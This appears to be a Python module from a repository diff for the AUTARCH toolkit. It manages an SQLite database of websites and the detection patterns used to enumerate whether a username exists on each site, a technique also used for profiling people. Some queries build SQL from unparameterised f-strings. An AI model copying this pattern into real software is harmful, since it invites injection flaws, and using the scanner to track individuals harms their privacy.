Normal file
@ -0,0 +1,712 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Sites Database Module
|
||||||
|
Unified username enumeration database from multiple OSINT sources
|
||||||
|
|
||||||
|
Database: dh_sites.db - Master database with detection patterns
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import sqlite3
|
||||||
|
import threading
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional, List, Dict, Any, Tuple
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from .banner import Colors
|
||||||
|
from .config import get_config
|
||||||
|
|
||||||
|
|
||||||
|
class SitesDatabase:
|
||||||
|
"""Unified OSINT sites database with SQLite storage."""
|
||||||
|
|
||||||
|
# Default database is dh_sites.db (the new categorized database with detection fields)
|
||||||
|
DEFAULT_DB = "dh_sites.db"
|
||||||
|
|
||||||
|
# Detection method mapping
|
||||||
|
DETECTION_METHODS = {
|
||||||
|
'status_code': 'status',
|
||||||
|
'message': 'content',
|
||||||
|
'response_url': 'redirect',
|
||||||
|
'redirection': 'redirect',
|
||||||
|
}
|
||||||
|
|
||||||
|
def __init__(self, db_path: str = None):
|
||||||
|
"""Initialize sites database.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db_path: Path to SQLite database. Defaults to data/sites/dh_sites.db
|
||||||
|
"""
|
||||||
|
if db_path is None:
|
||||||
|
from core.paths import get_data_dir
|
||||||
|
self.data_dir = get_data_dir() / "sites"
|
||||||
|
self.db_path = self.data_dir / self.DEFAULT_DB
|
||||||
|
else:
|
||||||
|
self.db_path = Path(db_path)
|
||||||
|
self.data_dir = self.db_path.parent
|
||||||
|
|
||||||
|
self.data_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
self._conn = None
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
|
||||||
|
def _get_connection(self) -> sqlite3.Connection:
|
||||||
|
"""Get thread-safe database connection."""
|
||||||
|
if self._conn is None:
|
||||||
|
self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False)
|
||||||
|
self._conn.row_factory = sqlite3.Row
|
||||||
|
return self._conn
|
||||||
|
|
||||||
|
def get_stats(self) -> Dict[str, Any]:
|
||||||
|
"""Get database statistics."""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
stats = {
|
||||||
|
'db_path': str(self.db_path),
|
||||||
|
'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0,
|
||||||
|
'total_sites': 0,
|
||||||
|
'enabled_sites': 0,
|
||||||
|
'nsfw_sites': 0,
|
||||||
|
'with_detection': 0,
|
||||||
|
'by_source': {},
|
||||||
|
'by_category': {},
|
||||||
|
'by_error_type': {},
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites")
|
||||||
|
stats['total_sites'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1")
|
||||||
|
stats['enabled_sites'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE nsfw = 1")
|
||||||
|
stats['nsfw_sites'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE error_type IS NOT NULL")
|
||||||
|
stats['with_detection'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT source, COUNT(*) FROM sites GROUP BY source ORDER BY COUNT(*) DESC")
|
||||||
|
stats['by_source'] = {row[0]: row[1] for row in cursor.fetchall()}
|
||||||
|
|
||||||
|
cursor.execute("SELECT category, COUNT(*) FROM sites GROUP BY category ORDER BY COUNT(*) DESC")
|
||||||
|
stats['by_category'] = {row[0]: row[1] for row in cursor.fetchall()}
|
||||||
|
|
||||||
|
cursor.execute("SELECT error_type, COUNT(*) FROM sites WHERE error_type IS NOT NULL GROUP BY error_type ORDER BY COUNT(*) DESC")
|
||||||
|
stats['by_error_type'] = {row[0]: row[1] for row in cursor.fetchall()}
|
||||||
|
|
||||||
|
except sqlite3.Error:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return stats
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# QUERY METHODS
|
||||||
|
# =========================================================================
|
||||||
|
|
||||||
|
def get_sites(
|
||||||
|
self,
|
||||||
|
category: str = None,
|
||||||
|
include_nsfw: bool = False,
|
||||||
|
enabled_only: bool = True,
|
||||||
|
source: str = None,
|
||||||
|
limit: int = None,
|
||||||
|
order_by: str = 'name'
|
||||||
|
) -> List[Dict]:
|
||||||
|
"""Get sites from database.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
category: Filter by category.
|
||||||
|
include_nsfw: Include NSFW sites.
|
||||||
|
enabled_only: Only return enabled sites.
|
||||||
|
source: Filter by source.
|
||||||
|
limit: Maximum number of results.
|
||||||
|
order_by: 'name' or 'category'.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of site dictionaries.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
query = "SELECT * FROM sites WHERE 1=1"
|
||||||
|
params = []
|
||||||
|
|
||||||
|
if category:
|
||||||
|
query += " AND category = ?"
|
||||||
|
params.append(category)
|
||||||
|
|
||||||
|
if not include_nsfw:
|
||||||
|
query += " AND nsfw = 0"
|
||||||
|
|
||||||
|
if enabled_only:
|
||||||
|
query += " AND enabled = 1"
|
||||||
|
|
||||||
|
if source:
|
||||||
|
query += " AND source = ?"
|
||||||
|
params.append(source)
|
||||||
|
|
||||||
|
query += f" ORDER BY {order_by} COLLATE NOCASE ASC"
|
||||||
|
|
||||||
|
if limit:
|
||||||
|
query += f" LIMIT {limit}"
|
||||||
|
|
||||||
|
cursor.execute(query, params)
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
|
||||||
|
return [dict(row) for row in rows]
|
||||||
|
|
||||||
|
def get_site(self, name: str) -> Optional[Dict]:
|
||||||
|
"""Get a specific site by name.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Site name.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Site dictionary or None.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
cursor.execute("SELECT * FROM sites WHERE name = ? COLLATE NOCASE", (name,))
|
||||||
|
row = cursor.fetchone()
|
||||||
|
|
||||||
|
return dict(row) if row else None
|
||||||
|
|
||||||
|
def search_sites(self, query: str, include_nsfw: bool = False, limit: int = 100) -> List[Dict]:
|
||||||
|
"""Search sites by name.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
query: Search query.
|
||||||
|
include_nsfw: Include NSFW sites.
|
||||||
|
limit: Maximum results.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of matching sites.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
sql = "SELECT * FROM sites WHERE name LIKE ? AND enabled = 1"
|
||||||
|
params = [f"%{query}%"]
|
||||||
|
|
||||||
|
if not include_nsfw:
|
||||||
|
sql += " AND nsfw = 0"
|
||||||
|
|
||||||
|
sql += f" ORDER BY name COLLATE NOCASE ASC LIMIT {limit}"
|
||||||
|
|
||||||
|
cursor.execute(sql, params)
|
||||||
|
return [dict(row) for row in cursor.fetchall()]
|
||||||
|
|
||||||
|
def get_categories(self) -> List[Tuple[str, int]]:
|
||||||
|
"""Get all categories with site counts.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of (category, count) tuples.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
cursor.execute("""
|
||||||
|
SELECT category, COUNT(*) as count
|
||||||
|
FROM sites
|
||||||
|
WHERE enabled = 1
|
||||||
|
GROUP BY category
|
||||||
|
ORDER BY count DESC
|
||||||
|
""")
|
||||||
|
|
||||||
|
return [(row[0], row[1]) for row in cursor.fetchall()]
|
||||||
|
|
||||||
|
def get_sites_for_scan(
|
||||||
|
self,
|
||||||
|
categories: List[str] = None,
|
||||||
|
include_nsfw: bool = False,
|
||||||
|
max_sites: int = 500,
|
||||||
|
sort_alphabetically: bool = True
|
||||||
|
) -> List[Dict]:
|
||||||
|
"""Get sites optimized for username scanning with detection patterns.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
categories: List of categories to include.
|
||||||
|
include_nsfw: Include NSFW sites.
|
||||||
|
max_sites: Maximum number of sites.
|
||||||
|
sort_alphabetically: Sort by name (True) or by category (False).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of sites ready for scanning with detection info.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
query = """SELECT name, url_template, category, source, nsfw,
|
||||||
|
error_type, error_code, error_string, match_code, match_string
|
||||||
|
FROM sites WHERE enabled = 1"""
|
||||||
|
params = []
|
||||||
|
|
||||||
|
if categories:
|
||||||
|
placeholders = ','.join('?' * len(categories))
|
||||||
|
query += f" AND category IN ({placeholders})"
|
||||||
|
params.extend(categories)
|
||||||
|
|
||||||
|
if not include_nsfw:
|
||||||
|
query += " AND nsfw = 0"
|
||||||
|
|
||||||
|
# Sort order
|
||||||
|
if sort_alphabetically:
|
||||||
|
query += " ORDER BY name COLLATE NOCASE ASC"
|
||||||
|
else:
|
||||||
|
query += " ORDER BY category ASC, name COLLATE NOCASE ASC"
|
||||||
|
|
||||||
|
query += f" LIMIT {max_sites}"
|
||||||
|
|
||||||
|
cursor.execute(query, params)
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
|
||||||
|
# Format for scanning with detection info
|
||||||
|
sites = []
|
||||||
|
for row in rows:
|
||||||
|
name, url, category, source, nsfw, error_type, error_code, error_string, match_code, match_string = row
|
||||||
|
|
||||||
|
# Map error_type to detection method
|
||||||
|
method = self.DETECTION_METHODS.get(error_type, 'status') if error_type else 'status'
|
||||||
|
|
||||||
|
sites.append({
|
||||||
|
'name': name,
|
||||||
|
'url': url,
|
||||||
|
'category': category,
|
||||||
|
'source': source,
|
||||||
|
'nsfw': bool(nsfw),
|
||||||
|
# Detection fields
|
||||||
|
'method': method,
|
||||||
|
'error_type': error_type,
|
||||||
|
'error_code': error_code, # HTTP code when NOT found (e.g., 404)
|
||||||
|
'error_string': error_string, # String when NOT found
|
||||||
|
'match_code': match_code, # HTTP code when found (e.g., 200)
|
||||||
|
'match_string': match_string, # String when found
|
||||||
|
})
|
||||||
|
|
||||||
|
return sites
|
||||||
|
|
||||||
|
def get_site_by_url(self, url_template: str) -> Optional[Dict]:
|
||||||
|
"""Get a site by its URL template.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
url_template: URL template with {} placeholder.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Site dictionary or None.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
cursor.execute("SELECT * FROM sites WHERE url_template = ?", (url_template,))
|
||||||
|
row = cursor.fetchone()
|
||||||
|
|
||||||
|
return dict(row) if row else None
|
||||||
|
|
||||||
|
def toggle_site(self, name: str, enabled: bool) -> bool:
|
||||||
|
"""Enable or disable a site.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Site name.
|
||||||
|
enabled: Enable (True) or disable (False).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if successful.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
cursor.execute(
|
||||||
|
"UPDATE sites SET enabled = ? WHERE name = ? COLLATE NOCASE",
|
||||||
|
(1 if enabled else 0, name)
|
||||||
|
)
|
||||||
|
conn.commit()
|
||||||
|
|
||||||
|
return cursor.rowcount > 0
|
||||||
|
|
||||||
|
def add_site(
|
||||||
|
self,
|
||||||
|
name: str,
|
||||||
|
url_template: str,
|
||||||
|
category: str = 'other',
|
||||||
|
source: str = 'custom',
|
||||||
|
nsfw: bool = False,
|
||||||
|
error_type: str = 'status_code',
|
||||||
|
error_code: int = None,
|
||||||
|
error_string: str = None,
|
||||||
|
match_code: int = None,
|
||||||
|
match_string: str = None,
|
||||||
|
) -> bool:
|
||||||
|
"""Add a custom site to the database.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Site name.
|
||||||
|
url_template: URL with {} placeholder for username.
|
||||||
|
category: Site category.
|
||||||
|
source: Source identifier.
|
||||||
|
nsfw: Whether site is NSFW.
|
||||||
|
error_type: Detection type (status_code, message, etc).
|
||||||
|
error_code: HTTP status when user NOT found.
|
||||||
|
error_string: String when user NOT found.
|
||||||
|
match_code: HTTP status when user found.
|
||||||
|
match_string: String when user found.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if successful.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
try:
|
||||||
|
cursor.execute("""
|
||||||
|
INSERT OR REPLACE INTO sites
|
||||||
|
(name, url_template, category, source, nsfw, enabled,
|
||||||
|
error_type, error_code, error_string, match_code, match_string)
|
||||||
|
VALUES (?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?)
|
||||||
|
""", (
|
||||||
|
name,
|
||||||
|
url_template,
|
||||||
|
category,
|
||||||
|
source,
|
||||||
|
1 if nsfw else 0,
|
||||||
|
error_type,
|
||||||
|
error_code,
|
||||||
|
error_string,
|
||||||
|
match_code,
|
||||||
|
match_string,
|
||||||
|
))
|
||||||
|
conn.commit()
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def update_detection(
|
||||||
|
self,
|
||||||
|
name: str,
|
||||||
|
error_type: str = None,
|
||||||
|
error_code: int = None,
|
||||||
|
error_string: str = None,
|
||||||
|
match_code: int = None,
|
||||||
|
match_string: str = None,
|
||||||
|
) -> bool:
|
||||||
|
"""Update detection settings for a site.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Site name.
|
||||||
|
error_type: Detection type.
|
||||||
|
error_code: HTTP status when NOT found.
|
||||||
|
error_string: String when NOT found.
|
||||||
|
match_code: HTTP status when found.
|
||||||
|
match_string: String when found.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if successful.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
updates = []
|
||||||
|
params = []
|
||||||
|
|
||||||
|
if error_type is not None:
|
||||||
|
updates.append("error_type = ?")
|
||||||
|
params.append(error_type)
|
||||||
|
if error_code is not None:
|
||||||
|
updates.append("error_code = ?")
|
||||||
|
params.append(error_code)
|
||||||
|
if error_string is not None:
|
||||||
|
updates.append("error_string = ?")
|
||||||
|
params.append(error_string)
|
||||||
|
if match_code is not None:
|
||||||
|
updates.append("match_code = ?")
|
||||||
|
params.append(match_code)
|
||||||
|
if match_string is not None:
|
||||||
|
updates.append("match_string = ?")
|
||||||
|
params.append(match_string)
|
||||||
|
|
||||||
|
if not updates:
|
||||||
|
return False
|
||||||
|
|
||||||
|
params.append(name)
|
||||||
|
query = f"UPDATE sites SET {', '.join(updates)} WHERE name = ? COLLATE NOCASE"
|
||||||
|
|
||||||
|
cursor.execute(query, params)
|
||||||
|
conn.commit()
|
||||||
|
|
||||||
|
return cursor.rowcount > 0
|
||||||
|
|
||||||
|
def get_sites_without_detection(self, limit: int = 100) -> List[Dict]:
|
||||||
|
"""Get sites that don't have detection patterns configured.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
limit: Maximum results.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of sites without detection info.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
cursor.execute("""
|
||||||
|
SELECT * FROM sites
|
||||||
|
WHERE enabled = 1
|
||||||
|
AND (error_string IS NULL OR error_string = '')
|
||||||
|
AND (match_string IS NULL OR match_string = '')
|
||||||
|
ORDER BY name COLLATE NOCASE ASC
|
||||||
|
LIMIT ?
|
||||||
|
""", (limit,))
|
||||||
|
|
||||||
|
return [dict(row) for row in cursor.fetchall()]
|
||||||
|
|
||||||
|
def get_detection_coverage(self) -> Dict[str, Any]:
|
||||||
|
"""Get statistics on detection pattern coverage.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with coverage statistics.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
stats = {}
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1")
|
||||||
|
total = cursor.fetchone()[0]
|
||||||
|
stats['total_enabled'] = total
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_type IS NOT NULL")
|
||||||
|
stats['with_error_type'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_string IS NOT NULL AND error_string != ''")
|
||||||
|
stats['with_error_string'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND match_string IS NOT NULL AND match_string != ''")
|
||||||
|
stats['with_match_string'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_code IS NOT NULL")
|
||||||
|
stats['with_error_code'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND match_code IS NOT NULL")
|
||||||
|
stats['with_match_code'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
# Calculate percentages
|
||||||
|
if total > 0:
|
||||||
|
stats['pct_error_type'] = round(stats['with_error_type'] * 100 / total, 1)
|
||||||
|
stats['pct_error_string'] = round(stats['with_error_string'] * 100 / total, 1)
|
||||||
|
stats['pct_match_string'] = round(stats['with_match_string'] * 100 / total, 1)
|
||||||
|
|
||||||
|
return stats
|
||||||
|
|
||||||
|
def get_disabled_count(self) -> int:
|
||||||
|
"""Get count of disabled sites."""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 0")
|
||||||
|
return cursor.fetchone()[0]
|
||||||
|
|
||||||
|
def enable_all_sites(self) -> int:
|
||||||
|
"""Re-enable all disabled sites."""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute("UPDATE sites SET enabled = 1 WHERE enabled = 0")
|
||||||
|
count = cursor.rowcount
|
||||||
|
conn.commit()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def disable_category(self, category: str) -> int:
|
||||||
|
"""Disable all sites in a category.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
category: Category to disable.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Number of sites disabled.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute("UPDATE sites SET enabled = 0 WHERE category = ? AND enabled = 1", (category,))
|
||||||
|
count = cursor.rowcount
|
||||||
|
conn.commit()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def enable_category(self, category: str) -> int:
|
||||||
|
"""Enable all sites in a category.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
category: Category to enable.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Number of sites enabled.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute("UPDATE sites SET enabled = 1 WHERE category = ? AND enabled = 0", (category,))
|
||||||
|
count = cursor.rowcount
|
||||||
|
conn.commit()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def load_from_json(self, json_path: str = None) -> Dict[str, int]:
|
||||||
|
"""Load/reload sites from the master dh.json file.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
json_path: Path to JSON file. Defaults to data/sites/dh.json
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Statistics dict with import counts.
|
||||||
|
"""
|
||||||
|
if json_path is None:
|
||||||
|
json_path = self.data_dir / "dh.json"
|
||||||
|
else:
|
||||||
|
json_path = Path(json_path)
|
||||||
|
|
||||||
|
stats = {'total': 0, 'new': 0, 'updated': 0, 'errors': 0}
|
||||||
|
|
||||||
|
if not json_path.exists():
|
||||||
|
print(f"{Colors.RED}[X] JSON file not found: {json_path}{Colors.RESET}")
|
||||||
|
return stats
|
||||||
|
|
||||||
|
print(f"{Colors.CYAN}[*] Loading sites from {json_path}...{Colors.RESET}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(json_path, 'r') as f:
|
||||||
|
data = json.load(f)
|
||||||
|
|
||||||
|
sites = data.get('sites', [])
|
||||||
|
stats['total'] = len(sites)
|
||||||
|
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
for site in sites:
|
||||||
|
try:
|
||||||
|
cursor.execute("""
|
||||||
|
INSERT OR REPLACE INTO sites
|
||||||
|
(name, url_template, category, source, nsfw, enabled,
|
||||||
|
error_type, error_code, error_string, match_code, match_string)
|
||||||
|
VALUES (?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?)
|
||||||
|
""", (
|
||||||
|
site['name'],
|
||||||
|
site['url'],
|
||||||
|
site.get('category', 'other'),
|
||||||
|
site.get('source', 'dh'),
|
||||||
|
1 if site.get('nsfw') else 0,
|
||||||
|
site.get('error_type'),
|
||||||
|
site.get('error_code'),
|
||||||
|
site.get('error_string'),
|
||||||
|
site.get('match_code'),
|
||||||
|
site.get('match_string'),
|
||||||
|
))
|
||||||
|
stats['new'] += 1
|
||||||
|
except Exception as e:
|
||||||
|
stats['errors'] += 1
|
||||||
|
|
||||||
|
conn.commit()
|
||||||
|
|
||||||
|
print(f"{Colors.GREEN}[+] Loaded {stats['new']} sites from JSON{Colors.RESET}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{Colors.RED}[X] Error loading JSON: {e}{Colors.RESET}")
|
||||||
|
|
||||||
|
return stats
|
||||||
|
|
||||||
|
def export_to_json(self, json_path: str = None) -> bool:
|
||||||
|
"""Export database to JSON format.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
json_path: Output path. Defaults to data/sites/dh_export.json
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if successful.
|
||||||
|
"""
|
||||||
|
if json_path is None:
|
||||||
|
json_path = self.data_dir / "dh_export.json"
|
||||||
|
else:
|
||||||
|
json_path = Path(json_path)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sites = self.get_sites(enabled_only=False, include_nsfw=True)
|
||||||
|
|
||||||
|
# Get category and source stats
|
||||||
|
stats = self.get_stats()
|
||||||
|
|
||||||
|
export_data = {
|
||||||
|
"project": "darkHal Security Group - AUTARCH",
|
||||||
|
"version": "1.1",
|
||||||
|
"description": "Exported sites database with detection patterns",
|
||||||
|
"total_sites": len(sites),
|
||||||
|
"stats": {
|
||||||
|
"by_category": stats['by_category'],
|
||||||
|
"by_source": stats['by_source'],
|
||||||
|
"by_error_type": stats['by_error_type'],
|
||||||
|
},
|
||||||
|
"sites": []
|
||||||
|
}
|
||||||
|
|
||||||
|
for site in sites:
|
||||||
|
site_entry = {
|
||||||
|
"name": site['name'],
|
||||||
|
"url": site['url_template'],
|
||||||
|
"category": site['category'],
|
||||||
|
"source": site['source'],
|
||||||
|
"nsfw": bool(site['nsfw']),
|
||||||
|
"enabled": bool(site['enabled']),
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add detection fields if present
|
||||||
|
if site.get('error_type'):
|
||||||
|
site_entry['error_type'] = site['error_type']
|
||||||
|
if site.get('error_code'):
|
||||||
|
site_entry['error_code'] = site['error_code']
|
||||||
|
if site.get('error_string'):
|
||||||
|
site_entry['error_string'] = site['error_string']
|
||||||
|
if site.get('match_code'):
|
||||||
|
site_entry['match_code'] = site['match_code']
|
||||||
|
if site.get('match_string'):
|
||||||
|
site_entry['match_string'] = site['match_string']
|
||||||
|
|
||||||
|
export_data['sites'].append(site_entry)
|
||||||
|
|
||||||
|
with open(json_path, 'w') as f:
|
||||||
|
json.dump(export_data, f, indent=2)
|
||||||
|
|
||||||
|
print(f"{Colors.GREEN}[+] Exported {len(sites)} sites to {json_path}{Colors.RESET}")
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{Colors.RED}[X] Export error: {e}{Colors.RESET}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
"""Close database connection."""
|
||||||
|
if self._conn:
|
||||||
|
self._conn.close()
|
||||||
|
self._conn = None
|
||||||
|
|
||||||
|
|
||||||
|
# Global instance
|
||||||
|
_sites_db: Optional[SitesDatabase] = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_sites_db() -> SitesDatabase:
|
||||||
|
"""Get the global sites database instance."""
|
||||||
|
global _sites_db
|
||||||
|
if _sites_db is None:
|
||||||
|
_sites_db = SitesDatabase()
|
||||||
|
return _sites_db
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user